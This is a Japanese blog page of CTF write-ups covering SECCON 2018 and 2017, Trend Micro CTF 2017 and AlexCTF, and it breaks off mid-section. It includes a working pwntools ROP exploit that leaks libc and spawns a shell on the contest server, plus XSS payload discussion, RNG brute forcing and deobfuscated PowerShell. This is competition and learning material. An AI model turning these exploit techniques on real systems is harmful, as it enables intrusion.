SECCON CTF 2018 国内決勝 writeup
SECCON CTF 2018 国内決勝 writeup
yharima
チームで参加. 1141 pts で 7位でした.
はじめての国内決勝だったので緊張しまくりでしたが,結構頑張れたと思いたい.
松島
ポーカーをする問題で,フルハウス以上を出すと 100pts, フォーカード以上を出すと 300?400?pts もらえる.
フォーカード以上出すと,デフェンスキーワードも入れれるようになる.
開幕問題が空いてなくてやっていなかったが,空いてからはわりかしすぐに着手しはじめた.
問題のバイナリ見てたら,メンバーがもうフルハウス出た,とかいっていて笑っていた.
解析していくと結局は rand 叩いていて seed は time に依存しているっぽいことがわかった.
time を hook して未来予測していけばいいのか,と思ったがめんどくさそう.
よくよく考えるとローカルの時間変えて実行すればいいのでは,と思い調べてみると date コマンドでできるっぽいことがわかった.
一度適当にプレイしてみて,その時間のカードとローカルでプレイした時間に差し替えたものとを比較してみると完全に一致した.
$ sudo date -s "12/23 03:38:42 2018" && ./generate_random_hands Sun Dec 23 03:38:42 UTC 2018 {"game_id":(null),"deck":[19,28,18,37,22,24,42,23,44,5],"max_score":3195}
というわけで,この方法でいけると思い以下のスクリプトを書いて判定していった(shell + node という謎の組み合わせ).
$ cat a.js const arg = process.argv[2]; const s = arg.indexOf('['); const e = arg.indexOf(']'); x = eval(arg.substring(s, e+1)) ans = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; x.forEach((e) => { ans[Math.floor(e/4)] = ans[Math.floor(e/4)] + 1; }); ans.forEach((e, i) => { if (e == 4) { console.log("OK:" + i); } });
$ cat poker.sh #/bin/sh for m in {20..59}; do for s in {0..59}; do t="12/23 04:${m}:${s} 2018" echo $t sudo date -s "${t}" >/dev/null && ./generate_random_hands | xargs node a.js done done
ただ,なぜかフォーカードが出てもフルハウスのときのフラグしかでなくて,うーんうーん言っていたら,メンバーに聞いてこいと言われたのでおとなしく運営に聞きに行った.
説明が悪かったのかうまく伝わらなかったけどフォーカード出してる画面をみせると,納得してもらえて調べてもらうことになった.
結果,カードを変えてフォーカードより強くなるケースがあるとフォーカードでも駄目,ということでアナウンス + ルール追記されること.
(max_score
の値によってどうこうみたいな話だったが,解析する時間よりフォーカード片っ端から入れたほうが早そうと思ってそうした.)
マジかーという気持ちになりながらスクリプト叩きまくって最終的に以下の時間の結果でフラグを得ることができた.
$ sudo date -s "12/23 04:38:0 2018" >/dev/null && ./generate_random_hands {"game_id":(null),"deck":[2,47,46,16,51,45,0,44,39,48],"max_score":23}
天橋立
任意の html ページを上げ, GET の parameter によって alert('XSS')
が発火すれば良い,みたいな問題(説明へたですみません).
どうも40分で問題コンセプトを破壊してしまったようで,罪悪感があり申し訳ない気持ちになりました.なんかすみません.
最初,全然意味がわからなくてチームメンバーに詳しく教えてもらってなんとか理解した.
jjencode 的なことすればいいかと思ったけど,バイト数制限もあって厳しいなーと思った次のタイミングで,
SHA256 前の値を parameter にとって,それがハードコードしてある SHA-256 と一致すれば alert('XSS')
が発火 するようにすればいいのでは?と思い至る.
適当に SHA-256 の実装をもってきて送りつけると全然解かれない(当たり前).
ただ,問題をよく理解してなくて title にデフェンスキーワード入れないとだめだったのに test
とかしていてディフェンスポイントをかなり無駄にしていたっぽい.
気がつけばハッシュ値が変えただけのまったく同じ実装がアップロードされはじめて,これはもったいないことをしてしまったと頭を抱えていました.
以下,うちのチームの答え.
おまけ
最後のほうにやることがなくなっていくつか問題をみていると Team Enu
の問題が SHA-256 じゃなくて解けそうだったのと,
その時点でうちのチームより1つ上だったので,頑張って剥がしてみようと思い解析をはじめた.
わりと適当な感じで解析を進めると k
で parameter を分割して前の部分はそのまま,後ろの部分は base64 で encode されたものを decode してから利用する.
あとはなんか色々な前処理をしたあと xor してペイロードを組み立てて eval して発火させる,という仕組み.
かなり辛い感じで色々ミスったんですが,頑張って解析して最終的に以下のペイロードをぶちこむことで撃墜できた(?
はいらなかった).
aaaaaaaaaaaakcdD9bDbxohN9PooO
本来の問題のコンセプトはこういうことで,非常に面白かっただけに SHA-256 ゲーにしてしまった自分がちょっとアレだなという気持ちに….
なお Team Enu の解いた5分後くらいには SHA-256 の問題になってて「はい」ってなりました(笑).
(頑張ったので,この思い Team Enu の人に届くといいな.)
撃墜したらその問題でゲットしてたデフェンスポイントがもらえる仕組みとかだったら嬉しかったのかもしれない.
とはいえ SHA-256 問題がアレなのでそこをどうにかしないと厳しいのですが….
宮島
出された問題を満たす関数を指定バイト数以内のアセンブラで書く問題.いわゆるアセンブラゴルフ.
いくつか手を出していたが, dodododo が強すぎてまじで無理ゲーだ…となっていました.
基本的にメンバーが解いてくれていたので自分はあんまり手を出していません.
アセンブラ短歌の本買って出直します.
懇親会(追記)
お風呂に入る気持ちが強くて書き忘れていた.
社会性がないので他チームと交流できず,メンバーと話していたら insecure チームの方々が話かけてきてくれて色々話せた.ありがとうございます.
色々問題について話せたりできた良かったです!またどこかでお会いできたらよろしくおねがいします.
まとめ
初の国内決勝にでれてうれしかったです. yharima
チームとしても,個人としても一つの区切りを迎えれたのかなと思う.
まだまだ精進しないと駄目ですね….特にバイナリ.
色々と思うところもありますが,自分は SECCON 国内決勝に出ることを1つの目標として頑張ってきたので,来年以降も開催されることを願っております.
なくなってしまうと,そういうモチベーションを失ってしまう人が自分以外にもいるかもしれませんので.
運営のみなさま,ありがとうございました & お疲れ様でした.そしてなんかごめんなさい.
他のメンバーの writeup
SECCON CTF 2018 QUALS writeup
SECCON CTF 2018 QUALS writeup
yharima
チームで参加.2535 pts で 28th でした.過去最高順位.
もしかしたら国内予選もワンちゃんあるのかもしれない…?
今回から後輩2名が参加して,6人体制だった.
Classic Pwn
よくあるスタックの BOF があり, EIP を奪って libc をリークしてシェルを立ち上げる問題.
何故かチームの誰も解いていなかった & 一応 pwn 担当なので自分が解いた.
ひとまず A
とかで埋め尽くすと EIP がとれることは確認.
また puts@plt などもあるので, GOT のアドレスもわかるので libc の base addr も計算できる.
また pop rdi
の gadget もあるので,1回目は pop rdi
=> puts@got
=> puts@plt
として libc のアドレスをリークさせる.
リークさせたあと,そのアドレスを使って system 関数のアドレスを計算する必要がある.
よくある手法だと stack piviot して bss などに任意のペイロード流して実行される,的な感じだけど,
今回は別に main に飛ばしてもっかい同じことをやれば良い.
なので,1回目は pop rdi
=> puts@got
=> puts@plt
=> main
として,
2回目は pop rdi
=> /bin/sh addr
=> system
とすれば良い.
(CTF) mbp:CTF yuta1024$ python classic_pwn.py [+] Opening connection to classic.pwn.seccon.jp on port 17354: Done [-] libc_base_addr = 0x7f1366771000 [*] Switching to interactive mode Have a nice pwn!! $ ls -l total 16 -rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic -rw-r----- 1 root classic 44 Oct 23 02:37 flag.txt $ cat flag.txt SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
from pwn import * context.arch = 'amd64' con = remote('classic.pwn.seccon.jp', 17354) con.recvline() con.recvregex('Local Buffer >> ') payload = 'A' * 72 payload += pack(0x00400753) # pop rdi payload += pack(0x00601018) # puts@got payload += pack(0x00400520) # puts@plt payload += pack(0x004006a9) # main con.sendline(payload) con.recvline() msg = con.recvline().strip() libc_base_addr = unpack(msg + '\x00' * 2) - 0x6f690 print "[-] libc_base_addr = 0x%x" % libc_base_addr con.recvline() con.recvregex('Local Buffer >> ') payload = 'A' * 72 payload += pack(0x00400753) # pop rdi payload += pack(libc_base_addr + 0x18cd57) # /bin/sh payload += pack(libc_base_addr + 0x45390) # system con.sendline(payload) con.interactive()
Boguscrypt
実行してみるとどうも gethostbyaddr
に失敗して終了してしまう.
バイナリを読んでみると,以下のように 0x200007f を INET_AF で解決しようとしている.
0x080486b9 <+60>: mov DWORD PTR [esp+0x10],0x200007f 0x080486c1 <+68>: mov DWORD PTR [esp+0x8],0x2 0x080486c9 <+76>: mov DWORD PTR [esp+0x4],0x4 0x080486d1 <+84>: lea eax,[esp+0x10] 0x080486d5 <+88>: mov DWORD PTR [esp],eax 0x080486d8 <+91>: call 0x80484c0 <gethostbyaddr@plt>
途中まで読み間違えていたが,これは 127.0.0.2
の逆引きをしている.
当然 127.0.02
なんで引けないので,ひとまず localhost
がかえるように /etc/hosts
に追記して実行すると,
うまく動作して flag.txt
が吐かれる.しかしぐちゃぐちゃになってて何かおかしい.
キーを求められるのでそこかと思ったが,異なるキーをいれても結果は同じになった.
ということは, 127.0.0.2
の結果によるものだと思い,同封されている pcap を読む.
127.0.0.2 の解決をしているパケットがあり, cur10us4ndl0ngh0stn4m3
らしいので,これを /etc/hosts
に書いて実行するとフラグとなる.
SECCON{This flag is encoded by bogus routine}
History
なぜか解かれていなかったのでサクっとやった.
降ってきたファイルを file するとただの data だったので hexdump する.
$ hexdump -C J | head -10 00000000 60 00 00 00 02 00 00 00 55 ed 00 00 00 00 23 00 |`.......U.....#.| 00000010 61 08 00 00 00 00 01 00 d0 73 3f 01 00 00 00 00 |a........s?.....| 00000020 a4 df f6 d3 62 49 d1 01 00 01 00 00 00 00 00 00 |....bI..........| 00000030 00 00 00 00 20 00 00 00 22 00 3c 00 6e 00 67 00 |.... ...".<.n.g.| 00000040 65 00 6e 00 5f 00 73 00 65 00 72 00 76 00 69 00 |e.n._.s.e.r.v.i.| 00000050 63 00 65 00 2e 00 6c 00 6f 00 63 00 6b 00 00 00 |c.e...l.o.c.k...| 00000060 60 00 00 00 02 00 00 00 a7 56 00 00 00 00 01 00 |`........V......| 00000070 61 08 00 00 00 00 01 00 30 74 3f 01 00 00 00 00 |a.......0t?.....| 00000080 a4 df f6 d3 62 49 d1 01 02 00 00 00 00 00 00 00 |....bI..........| 00000090 00 00 00 00 20 00 00 00 20 00 3c 00 6e 00 67 00 |.... ... .<.n.g.|
ngen_service
なる怪しそうな文字列があるのでググると以下の volatility のプラグインが見つかる.
volatility/usnparser at master · tomspencer/volatility · GitHub
これっぽいので,使い方をしらべて実行すると大量にでる.
$ python vol.py --profile Win7SP1x64 -f ../../J usnparser --output=csv -CS > out-j.txt
なんか RENAME したやつが怪しいという話だったので csv に吐き出したファイルからそのあたりをawk/ grep すると,
"SEC.txt" RENAME_OLD_NAME "CON{.txt" RENAME_NEW_NAME "CON{.txt" RENAME_NEW_NAME & CLOSE "CON{.txt" RENAME_OLD_NAME "F0r.txt" RENAME_NEW_NAME "F0r.txt" RENAME_NEW_NAME & CLOSE "WmiApRpl_new.h" RENAME_OLD_NAME "WmiApRpl.h" RENAME_NEW_NAME "WmiApRpl.h" RENAME_NEW_NAME & CLOSE "WmiApRpl_new.ini" RENAME_OLD_NAME "WmiApRpl.ini" RENAME_NEW_NAME "WmiApRpl.ini" RENAME_NEW_NAME & CLOSE "F0r.txt" RENAME_OLD_NAME "ensic.txt" RENAME_NEW_NAME "ensic.txt" RENAME_NEW_NAME & CLOSE "ensic.txt" RENAME_OLD_NAME "s.txt" RENAME_NEW_NAME "s.txt" RENAME_NEW_NAME & CLOSE "s.txt" RENAME_OLD_NAME "_usnjrnl.txt" RENAME_NEW_NAME "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE "_usnjrnl.txt" RENAME_OLD_NAME "2018}.txt" RENAME_NEW_NAME "2018}.txt" RENAME_NEW_NAME & CLOSE
とフラグっぽいものが出てきた.同じファイルの名前が変化しているよ思われるのでそのように awk/grepすると,
0xecfaL "SEC.txt" RENAME_OLD_NAME 0xecfaL "CON{.txt" RENAME_NEW_NAME 0xecfaL "CON{.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "CON{.txt" RENAME_OLD_NAME 0xecfaL "F0r.txt" RENAME_NEW_NAME 0xecfaL "F0r.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "F0r.txt" RENAME_OLD_NAME 0xecfaL "ensic.txt" RENAME_NEW_NAME 0xecfaL "ensic.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "ensic.txt" RENAME_OLD_NAME 0xecfaL "s.txt" RENAME_NEW_NAME 0xecfaL "s.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "s.txt" RENAME_OLD_NAME 0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME 0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "_usnjrnl.txt" RENAME_OLD_NAME 0xecfaL "2018}.txt" RENAME_NEW_NAME 0xecfaL "2018}.txt" RENAME_NEW_NAME & CLOSE
なので, SECCON{F0rensics_usnjrnl2018}
がフラグ.
mnemonic
最初はまったくわからない.文字コード?とか思って色々調べてみるのさっぱりだめ.
後輩二人が mnemonic だから…という話をしていてふと,そういえばニーモニックなのかと思う.
最近 Monacoin のウォレットを作ったときに,問題のひらがな複数から何か生成するみたいなのがあったな…と思い当たる.
bip39 とかなんかそんな感じだったかとおもって bip39 のワードリストを漁り,問題のひらがなが含まれるか調べてみると何個かいれて全部ヒットした.
ということはこれかもと思い,問題のすでにハッシュ値がわかっているやつからハッシュ値を生成してみると…
$ cat index.js const bip39 = require('bip39'); const ret = bip39.mnemonicToSeedHex("ふじみ あさひ みのう いっち いがく とない はづき ますく いせえび たれんと おとしもの おどろかす ことし おくりがな ちょうし ちきゅう さんきゃく こんとん せつだん ちしき ぬいくぎ まんなか たんい そっと"); console.log(ret); $ node index.js 338c161dbdb47c570d5d75d5936e6a32178adde370b6774d40d97a51835d7fec88f859e0a6660891fc7758d451d744d5d3b1a1ebd1123e41d62d5a1550156b1f
と一致した.もうこれじゃん,と思うも短いハッシュのほうの生成方法がよくわからない.
試行錯誤するとどうも mnemonicToEntropy
を叩くと短い方のハッシュがでてきた.
ニーモニックのうち先頭の1つだけ ??
になっているので,まずワードリストから長い方のハッシュに一致するニーモニックを全探索する.
$ cat index.js const bip39 = require('bip39'); bip39.wordlists.JA.forEach((e) => { const mnemonic = e + " とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"; const ret1 = bip39.mnemonicToSeedHex(mnemonic); if (ret1.startsWith("e9a")) { console.log(e); } }); $ node index.js はいれつ
ここまでわかればあとは mnemonicToEntropy をとって md5 にかけたものがフラグ.
$ cat index.js const bip39 = require('bip39'); const mnemonic = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる"; const ret = bip39.mnemonicToEntropy(mnemonic, bip39.wordlists.JA); console.log(ret); $ node index.js c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70 $ echo -n "c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f70" | md5 cda2cb1742d1b6fc21d05c879c263eec
なので SECCON{cda2cb1742d1b6fc21d05c879c263eec}
がフラグ(だったはず).
まとめ
kindvm 頑張っていたけど hint3 まで出せたところでタイムアップでした.
今回はなかなか頑張れた.国内予選出れたらいいな….わかったら追記します.
他のメンバーの writeup
追記(2018/11/08)
国内決勝出場権を得れました!!! :tada:
SECCON 2017 Online writeup
SECCON 2017 Online writeup
yharima
チームで参加.1900 pts で 84th でした.
Run me!
フィボナッチ数列の 11011
項目を求める問題.
与えられる実装は,非常に効率が悪い実装になっているので高速化してあげれば良い.
が,そんなことしなくても http://php.bubble.ro/fibonacci/ にぶち込んで,先頭 32 文字とれば良いだけ.
SECCON{65076140832331717667772761541872}
putchar music
C プログラムが与えられて,何の映画かを答える.
プログラムをみると何らかの音楽を再生していて,それを再生したら映画のタイトルがわかる,的な問題.
問題に,映画タイトルにスペースがあったら "_" に変えろ,というのがあったのと,
その昔 SECCON WARS という STAR WARS ネタがあったのと,そろそろ最後のジェダイが公開される,というあたりから,
何も考えず STAR WARS だろうと思って,入力したら正解だった.このあたりが自分が絶好調だった.
SECCON{STAR_WARS}
Powerful_Shell
power shell が与えられる.
ubuntu でも動くらしいので適当にインストールして実行してみるとエラーになる.
どうも ` が含まれているのが原因なので,置き換えてみると,ピアノの鍵盤が出て来る.
コード自体の末尾に Write-Host $ECOON
的なものを挿すとデコードされたコードがみれる.
デコードされたコードをみて,適当にデバッグログを差し込みながら解析すると,
hhjhhjhjkjhjhf
を入力すると次のステージに進める.
さらに Enter password
と出てくる.これは,内部にある base64 エンコードされたコードをデコードしたものと,
上記の hhjhhjhjkjhjhf
によって生成される鍵から復号された結果のコードが実行されている.
中身はこんな感じ.
{;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]"; ${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
これは,最後の部分が評価されて実行されている.これは,評価される前を Write-Host を実行するとさらにコードがみえる.
中身をみると最後, power shell になっていて,入力された文字が P0wEr$H311
と入力するとフラグがでる(というかそれそのものがフラグ).
SECCON{P0wEr$H311}
Simon and Speck Block Ciphers
Simon とかいう暗号化方式で暗号化された結果と plain text と鍵の一部などが与えられる.
実装自体は論文の通りにやればできるが,めんどい,適当にぐぐると以下の実装がでてくる.
GitHub - inmcm/Simon_Speck_Ciphers: Implementations of the Simon and Speck Block Ciphers
あとは以下のようなコードを書いて,鍵の不明な部分を総当りするだけ(実行ときに適当に grep する).
#include <stdio.h> #include <stdint.h> #include <string.h> #include <limits.h> #include <stdlib.h> #include "Simon.h" int main() { Simon_Cipher my_simon_cipher = *(Simon_Cipher *)malloc(sizeof(Simon_Cipher)); //uint8_t simon96_64_plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71}; uint8_t simon96_64_plain[] = {0x71, 0x6e, 0x6e, 0x42, 0x37, 0x4d, 0x56, 0x6d}; //uint8_t simon96_64_cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5}; uint8_t simon96_64_cipher[] = {0xb5, 0x34, 0x28, 0x42, 0xba, 0x12, 0x5d, 0xbb}; for (int c1 = 0x20; c1 <= 0x7e; ++c1) { for (int c2 = 0x20; c2 <= 0x7e; ++c2) { for (int c3 = 0x20; c3 <= 0x7e; ++c3) { for (int c4 = 0x20; c4 <= 0x7e; ++c4) { // uint8_t simon96_64_key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, c1, c2, c3, c4, 0x7d}; uint8_t simon96_64_key[] = {0x7d, c4, c3, c2, c1, 0x7b, 0x4e, 0x4f, 0x43, 0x43, 0x45, 0x53}; Simon_Init(&my_simon_cipher, Simon_96_64, ECB, simon96_64_key, NULL, NULL); uint8_t ciphertext_buffer[16]; Simon_Encrypt(my_simon_cipher, &simon96_64_plain, &ciphertext_buffer); printf("%c%c%c%c: %02x %02x %02x %02x %02x %02x %02x %02x\n", c1, c2, c3, c4, ciphertext_buffer[0], ciphertext_buffer[1], ciphertext_buffer[2], ciphertext_buffer[3], ciphertext_buffer[4], ciphertext_buffer[5], ciphertext_buffer[6], ciphertext_buffer[7]); } } } } return 0; }
最初,与えられているデータの入力をコメントアウトされている状態で定義していたが,答えが出ずしばらくハマっていた.
よくよく考えるとリトルエンディアンで書かないとだめ?と思って逆にしてみたら答えが出た.
SECCON{6Pz0}
Thank you for playing!
SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}
その他
Baby Stack
で無限に時間を溶かした.
EIP までは割りとあっさり奪えたのだけど,その後どう ROP するかでハマった.
最初は mmap で executable な領域を確保したあとに read で shellcode 積んで, EIP 飛ばせばいいや,と思ったのだけど,
mmpa まではできたけど pop gadget がなくてその後の ROP chain に繋げられず死亡.
その後 syscall 叩くことなども考えたけど,どれもうまくいかず終了.非常に辛い….
まとめ
国内決勝まであとちょっとだったらしい?
非常に辛いけど力不足を実感したので,また来年まで修行します.
Trend Micro CTF 2017 Online Qualifier writeup
Trend Micro CTF 2017 Online Qualifier writeup
いつもの yharima
で参加.
結果は 500pts で 88th でした.微妙.
Windows バイナリを解析する力が足りない事を実感した.厳しい.
自分が解いた2問の writeup を書いておきます.
Reversing 100
記憶が微妙だけど落としてきたファイルを解凍すると, biscuit1
と biscuit2
が出てきたはず.
biscuit2
zip で暗号化されているので,まず biscuit1
を解析していく.
biscuit1
は Windows バイナリなので ollydbg に投げつけて実行してみる.
まず実行すると Please find sweets name staring from m for biscuit2.
と出るので,
更にステップ実行しながらレジスタをみていると m
から始まる英単語がいくつかでてくる.
適当にでてきたやつを入れていくと macaron
で解凍できた.
解凍するとさらに biscuit3
, biscuit4
, biscuit5
が出て来る.
biscuit3
は jpeg で開いてもビスケットな画像だけ.
思考停止して binwalk してみると,
$ binwalk biscuit3.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 382 0x17E Copyright string: "Copyright (c) 1998 Hewlett-Packard Company" 14253 0x37AD Zip archive data, at least v1.0 to extract, compressed size: 5, uncompressed size: 5, name: biscuit.txt 14356 0x3814 End of Zip archive
なんか text ファイルが入っているので展開してみると中に, cream
と書いてあるファイルがあるので,これがフラグの一部だと思われる.
続いて biscuit4
を見てるみるとただの text ファイルで以下のような内容.
$ cat biscuit4 Please create flag. hint: Flag = TMCTF{biscuit3_ biscuit5}
なるほど,ヒントで, biscuit3
は解析が終わっているのであとは biscuit5
を解析する必要がある.
biscuit5
はまた Windows バイナリなので ollydbg にかける.
適当にステップ実行して RET あたりのレジスタをみてみると choux
という文字列が入ってるのでこれっぽい.
あとは,ヒントのよおり TMCTF{cream_ choux}
とかで投げてみたけど通らない.
試行錯誤しているうちに最終的には TMCTF{choux_cream}
で通った記憶.謎かった.
Analysis-Offensive 100
解凍すると Forensic_Encyption
が出て来るので file
にかけると,
$ file Forensic_Encyption Forensic_Encyption: MS-DOS executable, MZ for MS-DOS
えっ…,ちょっと binwalk してみよう.
$ binwalk Forensic_Encyption DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 13390 0x344E Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1 29607 0x73A7 Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2 30177 0x75E1 End of Zip archive
なんか埋め込まれてるので展開すると file_1
と file_2
が出て来る.
まず file_1
をみてみると. jpeg で開いてみるとなんか smily な画像が出てくるだけ.
binwalk してみても特に何もなさそうなので exiftool にかけると,
$ exiftool file_1 ExifTool Version Number : 10.20 File Name : file_1 (snip) User Comment : VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u (snip)
なんか怪しいユーザコメントがある. base64 っぽいのでデコードすると,
$ exiftool file_1 | grep "User Comment" | awk '{print $4}' | base64 -D Turing_Machine_automaton
file_2
をみてみると zip で解凍しようとすると,
$ unzip file_2 Archive: file_2 skipping: key.txt unsupported compression method 99
なんか適当に調べていると 7z で解凍できるらしい.
$ 7z e file_2 // パスワードは `Turing_Machine_automaton`
で解凍できた. key.txt
がフラグかーと思ってみてみると…
$ cat key.txt src 192.168.30.211 dst 192.168.30.251 proto esp spi 0xc300fae7 reqid 1 mode transport replay-window 32 auth hmac(sha1) 0x2f279b853294aad4547d5773e5108de7717f5284 enc cbc(aes) 0x9d1d2cfa9fa8be81f3e735090c7bd272 sel src 192.168.30.211/32 dst 192.168.30.251/32 src 192.168.30.251 dst 192.168.30.211 proto esp spi 0xce66f4fa reqid 1 mode transport replay-window 32 auth hmac(sha1) 0x3bf9c1a31f707731a762ea45a85e21a2192797a3 enc cbc(aes) 0x886f7e33d21c79ea5bac61e3e17c0422 sel src 192.168.30.251/32 dst 192.168.30.211/32
あれ…,これは IPSec とかの通信を復号するときに使える鍵とかの情報….
でも pcap なんかなかったしどういうことなの…と思って,
元の Forensic_Encyption
を strings してみると, file_3
なる文字列がみえる.
これは何か足りていないような気がするけどなんで binwalk で展開できないのかと思い,
バイナリエディタで開いて眺めてみると…,先頭は以下のようになっている.
0000000: 4d5a 0304 1400 0000 0800 f484 af4a bc79 MZ...........J.y
まあ先頭が MZ
なんだから MS-DOS executable, MZ for MS-DOS
なんだろう….
03 04 14
ってなんか特徴のありそうな16進数のように思えたのでググってみると,
50 4b 03 04 14
が PKZip らしい.あれこれ書き換えられてる…と思って 4d5a
=> 504b
にして binwalk すると,
$ binwalk Forensic_Encyption DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 13354, uncompressed size: 31112, name: file_3 13390 0x344E Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1 29607 0x73A7 Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2 30177 0x75E1 End of Zip archive
file_3
でてきた.そしてこいつを wireshark で開くと開ける!
さっきの key.txt を Preferences => Protocol => ESP から入れて復号して,
192.168.30.211
でフィルタすると HTTP 通信があって index.html がある.
こいつを開くと,
$ cat index.html <HTML> <BODY> M4 Navy Reflector:C Thin, beta, I, IV, II (T M J F), Plugboard: L-X/A-C/B-Y TMCTF{APZTQQHYCKDLQZRG} APZTQQHYCKDLQZRG is encrypted. </BODY> </HTML>
まだ暗号化されてるのか…, M4
, Naby
, Reflector
, Plugboard
などで検索すると,
どうやらエニグマを使って暗号化されているらしい.
チーム部屋に投げると,エニグマのシミュレータが貼られたのでポチポチそれっぽい設定をする.
最終的には以下のような設定にすると,意味のあるワードになったので投げてみた(しかし設定ミスしていることにあとできづいた).
TMCTF{RISINGSUNANDMOON}
がフラグだった.
Analysis-Offensive 200(WIP)
入力は 8文字の数字.これを AABBCCDD
と表すと以下の条件を満たす必要がありそう.
- 入力された8桁は素数
- AA と BB は素数
- CC は 平方数
- (AABB ^ (CC * CC)) >> 8 が 0
AABBCCDDValidate Flag:
を文字としてみて全部足した結果から 0x120 を引いた結果も素数
これの中でもっとも大きい数字は 43436447
っぽく,これを入れて出力される flag.txt は TMCTF{434364}
.
これを入力しても通らずほぼすべての時間を溶かして死亡しました…. :sob:
AlexCTF writeup
AlexCTF writeup
いつものチームで参加.
結果は 105th, 1740pts で結構頑張った.
自分が解いた問題の writeup を書きます.
(追記)
暗号系をメインに問いてくれたメンバーの writeup をおいておきます.
liniku.hatenablog.com
RE1: Gifted
思考停止して strings するだけだった.
$ strings gifted | grep AlexCTF AlexCTF{Y0u_h4v3_45t0n15h1ng_futur3_1n_r3v3r5ing}
RE2: C++ is awesome
実行すると引数にフラグを与える様子.
